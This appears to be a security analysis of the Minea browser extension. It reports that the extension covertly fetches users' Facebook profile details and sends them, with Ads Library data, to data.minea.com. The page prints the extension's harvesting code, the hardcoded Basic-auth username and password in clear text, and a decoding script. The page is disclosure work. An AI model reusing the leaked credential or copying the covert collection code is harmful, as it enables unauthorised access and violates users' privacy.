Is Minea safe?
Minea reads Facebook profile data (ID, name, city, birthday, gender) while browsing the Ads Library and sends it to data.minea.com.
When a user visits the Facebook Ads Library, Minea intercepts GraphQL responses via a monkey-patched XHR hook and collects the authenticated user's profile details — including city, hometown, address, birthday, and gender — by fetching the user's mbasic Facebook profile page from the extension's background context. The collected PII and ad feed data are base64-encoded and posted to data.minea.com/v2/tokens using hardcoded Basic Auth credentials embedded in the extension bundle.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Hardcoded Minea API credential shipped in the extension bundle
The extension ships a fixed username/password in its JavaScript, sent as a Basic-auth header to data.minea.com.
Identical for every install and readable by anyone who unpacks it, so it doesn't authenticate one user; Base64 isn't secrecy.
You browse the Facebook Ads Library with the extension active.
No login or per-user setup creates this credential; it is already baked into the shipped code.
The extension POSTs to data.minea.com using a fixed Basic-auth credential embedded in its JavaScript.
The same username:password pair is attached for every user on every install.
| Content-Type | application/json |
| Authorization | Basic <redacted> (base64 of dropispy:<redacted>) |
<message-supplied data payload>
The static credential is constructed inline in the background service worker.
if (msg.action === "sendTokens") {
fetch("https://data.minea.com/v2/tokens", {
method: "POST",
body: msg.params.data,
headers: {
"Content-Type": "application/json",
// Same username:password for every install, only base64-encoded
Authorization: "Basic " + btoa("dropispy:gzK@8s6DVyVr")
}
});
}Recovers the embedded Basic-auth username:password pair from the extension's Authorization header, demonstrating that the credential is readable by anyone who has the extension.
// Decode the Basic-auth header the extension sends to data.minea.com.
// The header value is base64 of 'username:password'.
const headerValue = 'ZHJvcGlzcHk6Z3pLQDhzNkRWeVZy'; // from Authorization: Basic <value>
const decoded = Buffer.from(headerValue, 'base64').toString('utf8');
console.log('Embedded credential (user:pass):', decoded);
// To find it directly in source instead:
// grep -o "btoa(\"[^\"]*\")" static/background/index.js- 1Save this file as decode-minea-cred.js.
- 2Run: node decode-minea-cred.js.
- 3Observe the username:password pair printed; it is the same for every installation.
Basic authentication encodes the credential with base64 purely so it survives transport in an HTTP header. base64 is reversible with no key, so the username and password are recoverable by anyone who can read the request or the shipped source. A credential that is identical across all installs identifies the vendor's client, not the individual user.
Service worker reads your Facebook profile city, address, birthday, gender
While browsing Facebook Ads Library, the background worker fetches mbasic.facebook.com using your session: the home page for your username, then '/about', parsed for city, address, birthday, gender.
No session returns a consent wall.
You browse the Facebook Ads Library while logged in to Facebook.
No prompt asks to read your own profile; the fetch happens in the background.
The extension's service worker fetches your mbasic.facebook.com profile using your active Facebook session.
It reads your name from the mbasic home page, then loads your /about page.
| Origin | chrome-extension://gklhghenemaeogngbnjdheklnnonajoc |
Background handlers fetch mbasic.facebook.com in the extension context and return raw HTML.
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
if (msg.action === "getMbasicFBIndex") {
fetch("https://mbasic.facebook.com/")
.then(r => r.text()).then(html => sendResponse(html));
}
if (msg.action === "getAboutPage") {
fetch("https://mbasic.facebook.com/" + msg.params.user_full_name + "/about")
.then(r => r.text()).then(html => sendResponse(html));
}
return true;
});| Field | Value | Why it matters | |
|---|---|---|---|
Current city | Austin, Texas | Where you currently live, as listed on your Facebook profile. | |
Address | 123 Maple Ave | Your address field from the profile, when present. | |
Home town | Dallas, Texas | The hometown listed on your profile. | |
Birthday | March 14, 1990 | Your date of birth from the profile. | |
Gender | Female | The gender field listed on your profile. | |
Name | Jane Doe | Your profile name, derived from the mbasic page navigation. |
The content script selects each field out of the about-page HTML.
const getCity = html => $(html).find('td:has(a[href*="edit=current_city"]) ~ td a').text();
const getAddress = html => $(html).find('td:has(a[href*="edit=address"]) ~ td a').text();
const getBirthday = html => $(html).find('td:has(a[href*="edit=birthday"]) ~ td div').text();
const getGender = html => $(html).find('td:has(a[href*="edit=gender"]) ~ td div').text();
// Assembled into { id, city, home_town, address, birthday, gender, name }
chrome.runtime.sendMessage({ action: "getAboutPage", params: { user_full_name } }, html => {
const profile = { city: getCity(html), address: getAddress(html),
birthday: getBirthday(html), gender: getGender(html) };
});